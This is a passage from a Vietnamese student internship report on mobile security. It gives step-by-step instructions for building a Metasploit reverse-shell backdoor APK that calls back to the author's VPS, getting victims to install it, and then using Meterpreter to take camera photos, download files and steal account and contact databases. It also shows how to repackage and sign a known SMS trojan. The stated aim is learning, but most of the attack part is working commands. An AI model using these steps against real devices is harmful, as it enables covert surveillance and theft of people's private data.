cấu hình server,…. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 49
  • 50. Báo cáo thực tập GVHD: Võ Đỗ Thắng 4.1.2. Đặc điểm về thông số VPS Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng, dung lượng RAM riêng, dung lượng ổ HDD riêng, địa chỉ IP riêng và hệ điều hành riêng. Tiết kiệm được nhiều chi phí so với việc thuê một server riêng. Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng dụng khác thì có thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web bằng trình duyệt Web trên VPS, dowload/upload bittorrent với tốc độ cao… Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài nguyên mà không cần phải khởi động lại hệ thống. Có thể cài lại hệ điều hành với thời gian từ 5-10 phút. 4.1.3. Giá trị khi sử dụng VPS Server mạnh với nhiều cấu hình cho phép khách hàng dễ dàng lựa chọn gói VPS phù hợp. Miễn phí chi phí cài đặt ban đầu cũng như cấu hình hoạt động cho khác hàng. Hỗ trợ khác hàng cài đặt miễn phí thêm các phần mềm riêng. Được cấu hình và cài đặt hệ thống Firewall và DDOS Protection. Bộ phận kỹ thuật kịp thời can thiệp nhanh chóng nếu có sự cố phát sinh. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 50
  • 51. Báo cáo thực tập GVHD: Võ Đỗ Thắng 4.2.Cài đặt metasploit Để cài đặt metasploit trước tiên ta phải vào trang http://metasploit.com để tải bộ cài đặt metasploit về máy của mình. Ta nhấp vào phần Free Metasploit Download và nó sẽ hiện ra trang bên dưới Ở đây mình sẽ down bản METASPLOIT COMMUNITY. Hình 43. Sau khi nhấp vào link, nó sẽ xuất hiện một trang đăng kí. Mình nhập thông tin đầy đủ và nhấp vào SUBMIT & DOWNLOAD để nhận một license Hình 44. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 51
  • 52. Báo cáo thực tập GVHD: Võ Đỗ Thắng Tiếp theo nó sẽ xuất hiện trang download, ta sẽ chọn bản phù hợp. Hình 45. Sau khi tải xong, ta bắt đầu tiến trình cài đặt. Trước tiên ta nhấp vào bản cài đặt và nhấn Next Hình 46. Hình 47. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 52
  • 53. Báo cáo thực tập GVHD: Võ Đỗ Thắng Bên dưới ta chọn thư mục để cài đặt và nhấn Next Hình 48. Ta phải đảm bảo rằng các phần mềm diệt virut đều được đóng, nếu không nó sẽ ngăn cản việc cài đặt Hình 49. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 53
  • 54. Báo cáo thực tập GVHD: Võ Đỗ Thắng SLL Port, Server Name và Days of validity ta để mặc định Hình 50. Hình 51. Ta tiếp tục nhấn Next để bắt đầu cài đặt Hình 52. Hình 53. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 54
  • 55. Báo cáo thực tập GVHD: Võ Đỗ Thắng Cài đặt xong ta nhấp Finish để kết thúc việc cài đặt Hình 54. Sau khi kết thúc việc cài đặt, ta sẽ vào link http://localhost:3790/ để đăng kí tài khoản. Ta nhấp đầy đủ theo những yêu cầu bên dưới và nhấn Create Account Hình 55. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 55
  • 56. Báo cáo thực tập GVHD: Võ Đỗ Thắng Sau đó trình duyệt sẽ chuyển đến trang nhập key để active chương trình Hình 56. Ta vào địa chỉ mail mà ta đã sử dụng khi download bộ cài đăt metasploit, điền key vào và nhấn ACTIVE LICENSE Hình 57. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 56
  • 57. Báo cáo thực tập GVHD: Võ Đỗ Thắng Như vậy là ta đã có một tài khoản metasploit Hình 58. 4.3.Xâm nhập vào thiết bị android Trước tiên ta mở Terminal trong Kali Linux lên và gõ lệnh để tạo một backdoor: msfpayload android/meterpreter/reverse_tcp lhost=14.0.21.184 lport=4444 R> /root/Desktop/app.apk Trong đó 14.0.21.184 là địa chỉ máy VPS của ta. /root/Desktop/app.apk là đường dẫn chứa file vừa tạo. Hình 59. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 57
  • 58. Báo cáo thực tập GVHD: Võ Đỗ Thắng Sau khi tạo một backdoor được tạo, ta tải nó lên mạng. Khi máy android down về cài đặt và truy cập vào thì sẽ hiện lên như bên dưới: Hình 60. Ta vào máy VPS và mở Metasploit Console lên Hình 61. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 58
  • 59. Báo cáo thực tập GVHD: Võ Đỗ Thắng Sau đó ta sẽ đánh các lệnh như bên dưới để tạo một môi trường và liên kết với máy android mà ta sẽ tấn công: use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 14.0.21.184 set lport 4444 run Ở đây lhost và lport phải giống với lhost và lport khi tạo backdoor Hình 62. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 59
  • 60. Báo cáo thực tập GVHD: Võ Đỗ Thắng Khi máy android nhấp vào biểu tượng có chữ ReverseTCP thì sẽ có thông báo là đã kết nối Hình 63. Ta gõ lệnh help để hiện lên các lệnh mà ta có thể sử dụng để hack android Hình 64. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 60
  • 61. Báo cáo thực tập GVHD: Võ Đỗ Thắng - Xem thông tin Ta dùng lệnh sysinfo để xem thông tin máy android Hình 65. - Xem camera Ta dùng lênh webcam_list để xem danh sách các camera Ta dùng lệnh webcam_snap x để chụp một bức ảnh từ camera của máy android. Trong đó: x là 1: Back Camera 2: Front Camera Hình 66. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 61
  • 62. Báo cáo thực tập GVHD: Võ Đỗ Thắng Để di chuyển đến thư mục nào ta dùng lệnh cd <đường dẫn đến thư mục> Lệnh ls để xem trong thư mục có những gì Hình 67. Ta vào thư mục /sdcard/Download để down file về - Download file Ta dùng lệnh download <tên file> để down file đó về máy VPS của ta Hình 68. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 62
  • 63. Báo cáo thực tập GVHD: Võ Đỗ Thắng Muốn xóa một file ta dùng lệnh rm <tên file> Hình 69. - Đánh cắp tài khoản, danh bạ Để đánh cắp tài khoản trước tiên ta phải vào hệ thống của máy android. Lưu ý: máy android này phải được root trước đó. Ta dùng lệnh shell để vào hệ thống Dùng lệnh su để toàn quyền truy cập Dùng lệnh whoami để biết máy android đã được root chưa. Nếu rồi thì nó sẽ hiện thông báo là unknown uid 0 Hình 70. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 63
  • 64. Báo cáo thực tập GVHD: Võ Đỗ Thắng Ta gõ cd /data/system để vào thư mục system Tiếp theo gõ ls –l để xem trong thư mục có gì Hình 71. Ta gõ lệnh cp accounts.db /sdcard để copy file accounts.db về Sdcard Hình 72. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 64
  • 65. Báo cáo thực tập GVHD: Võ Đỗ Thắng Sau đó ta trở về meterpreter bằng lệnh exit rồi dùng lệnh download file accounts.db về máy VPS của chúng ta Hình 73. Tiếp tục ta vào địa chỉ cd /data/data/com.android.providers.contacts/databases Để copy file contacts2.db về Sdcard bằng lệnh cp contacts2.db /sdcard Hình 74. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 65
  • 66. Báo cáo thực tập GVHD: Võ Đỗ Thắng Sau đó ta download file contacts2.db về máy VPS Hình 75. Ta mở file *.db bằng phần mềm SQLite. Ta có thể down phần mềm đó về vài cài vào VPS của chúng ta Hình 76. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 66
  • 67. Báo cáo thực tập GVHD: Võ Đỗ Thắng 5. Cài đặt SMS Trojan dùng iCalender 5.1. Cài đặt máy ảo android AVD Manager 5.1.1. Cài đặt JDK: JDK (Java Development Kit) là bộ công cụ phát triển Java. Nó bao gồm nhiều chương trình tiện ích như trình biên dịch javac (java compiler), chương trình gỡ lỗi, appletviewer, trình phát sinh tài liệu javadoc, đóng gói dữ liệu jar v.v... Nếu ai muốn lập trình ứng dụng bằng ngôn ngữ java thì bắt buộc phải cài JDK. - Bước 1: Trước tiên để cài đặt JDK, chúng ta vào link bên dưới và tải jdk về Link: http://www.oracle.com/technetwork/java/javase/downloads/index.html?ssSourceSiteId=otnjp Hình 77. Hình 78. Chú ý: Nếu chúng ta dùng hệ điều hành nào thì ta tải phiên bản dùng cho hệ điều hành đó. Ở đây em tải bản dùng cho windows x64. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 67
  • 68. Báo cáo thực tập GVHD: Võ Đỗ Thắng - Bước 2: Cài đặt jdk Ta nhấp chuột vào file cài đặt đã tải về và cài như các chương trình bình thường. Hình 79. 5.1.2. Cài đặt android SDK Android SDK thực chất là tập hợp các công cụ và thư viện để phát triển các ứng dụng trên nền tảng hệ điều hành Android. - Bước 1: Trước tiên ta phải tải android SDK về máy theo link bên dưới. Link: http://developer.android.com/sdk/index.html Hình 80. Hình 81. Chú ý: ta nên tải bản phù hợp với hệ điều hành của mình. Ở đây em tải bản cho windows x SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 68
  • 69. Báo cáo thực tập GVHD: Võ Đỗ Thắng - Bước 2: Tải các packages trong android SDK manager Ta giải nén file đã down về, trong đó gồm có: một thư mục eclipse, một thư mục SDK và một file SDK Manager. Vào thư mục eclipse và mở file eclipse.exe lên. Trong eclipse, ta vào Window -> Android SDK Manager để mở bảng Android SDK Manager. Hình 82. Ta muốn sử dụng gói công cụ nào thì đánh dấu vào gói công cụ đó rồi nhấn Install. 5.1.3. Cài đặt máy ảo android Sau khi đã tải và cài đặt các gói cần thiết cho việc cài đặt máy ảo, ta vào Window -> Android Virtual Device Manager để mở cửa sổ AVD Manager như bên dưới Hình 83. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 69
  • 70. Báo cáo thực tập GVHD: Võ Đỗ Thắng Ta nhấp vào Create để bắt đầu tạo một máy ảo mới Hình 84. AVD name: tên của máy ảo sẽ được tạo Device: chọn thiết bị muốn tạo máy ảo Target: chọn phiên bản android cho máy ảo Skin: chọn kích cỡ của màn hình Internal Storage: chọn dung lượng bộ nhớ trong SD card: dung lượng thẻ SD Sau khi chọn xong ta nhấn OK. Để mở máy ảo lên ta nhấp vào máy ảo vừa tạo và nhấn Start. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 70
  • 71. Báo cáo thực tập GVHD: Võ Đỗ Thắng Đây là máy ảo thu được: Hình 85. 5.2. Cài SMS Trojan vào máy android ảo 5.2.1. Các công cụ cần thiết - apktool: giải mã các file .apk và .rar, đóng gói apk phục vụ cho việc tùy chỉnh sửa đổi các file đó. https://code.google.com/p/android-apktool/ - dex2jar: dịch file .apk thành file .jar. https://code.google.com/p/dex2jar/ - id-gui: đọc code java từ file .jar. https://code.google.com/p/innlab/downloads/detail?name=jd-gui- 0.3.3.windows.zip&can=2&q=2 - File iCalendar.apk, một trong 11 ứng dụng bị gỡ bỏ khỏi Android Market do có chứa malware. - Hai máy ảo android dùng công cụ AVD Manager SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 71
  • 72. Báo cáo thực tập GVHD: Võ Đỗ Thắng 5.2.2. Các bước thực hiện - Bước 1: Dùng phần mềm WinZip giải nén file classes.dex trong iCalendar.apk vào folder chứa công cụ dex2jar. Hình 86. - Bước 2: Vào command windows, vào trong thư mục dex2jar để thực hiện câu lệnh sau: dex2jar classes.dex Câu lệnh này chuyển đổi file classes.dex thành file classes_dex2jar.jar. Hình 87. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 72
  • 73. Báo cáo thực tập GVHD: Võ Đỗ Thắng - Bước 3: Dùng công cụ id-gui để mở file classes_dex2jar.jar có được ở bước 2 để xem source code của ứng dụng iCalendar. Hình 88. - Bước 4: Vào command windows, vào trong thư mục chứa apktool (phải chứa sẵn iCalendar.apk) và nhập 2 lệnh sau: apktool if iCalendar.apk apktool d iCalendar.apk Ta được kết quả: Hình 89. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 73
  • 74. Báo cáo thực tập GVHD: Võ Đỗ Thắng Truy cập vào thư mục iCalendar và di chuyển đến thư mục smalicommjiCalendar Hình 90. - Bước 5: Mở file iCalendar.smali và file SmsReceiver.smali bằng Notepad và thực hiện như hình bên dưới sau đó lưu lại. Hình 91. Hình 92. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 74
  • 75. Báo cáo thực tập GVHD: Võ Đỗ Thắng - Bước 6: Vào command windows thực hiện câu lệnh sau để đóng gói ứng dụng iCalendar đã được chỉnh sửa thành file .apk mới tại thư mục iCalendardist Hình 93. - Bước 7: Đưa file iCalendar.apk đã tạo ở bước 6 vào thư mục bin nằm trong thư mục Java Hình 94. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 75
  • 76. Báo cáo thực tập GVHD: Võ Đỗ Thắng Trên command windows vào thư mục trên và nhập các lệnh sau để verify (Signing ứng dụng, tạo chữ ký điện tử để thiết bị) gói apk để có thể sử dụng trên thiết bị (phải chọn run as administrator khi chạy cmd): keytool -genkey -v -keystore iCalendar-iCalendar.keystore -alias iCalendar -keyalg RSA -keysize 2048 -validity 10000 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore iCalendar-iCalendar. keystore iCalendar.apk iCalendar jarsigner -verify -verbose -certs iCalendar.apk Kết quả: Hình 95. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 76
  • 77. Báo cáo thực tập GVHD: Võ Đỗ Thắng - Bước 8: Copy file iCalendar.apk vào thư mục platform-tools của Android SDK và dùng lệnh sau để cài ứng dụng vào giả lập adb -s emulator-5554 install iCalendar.apk Hình 96. Hình 97. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 77
  • 78. Báo cáo thực tập GVHD: Võ Đỗ Thắng Vậy ta đã cài đặt thành công lên máy ảo. - Bước 9: Kích hoạt Trojan gửi tin nhắn đến máy ảo 5556 (mở ứng dụng iCalendar rồi click 7 lần). Kết quả: Hình 98. SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 78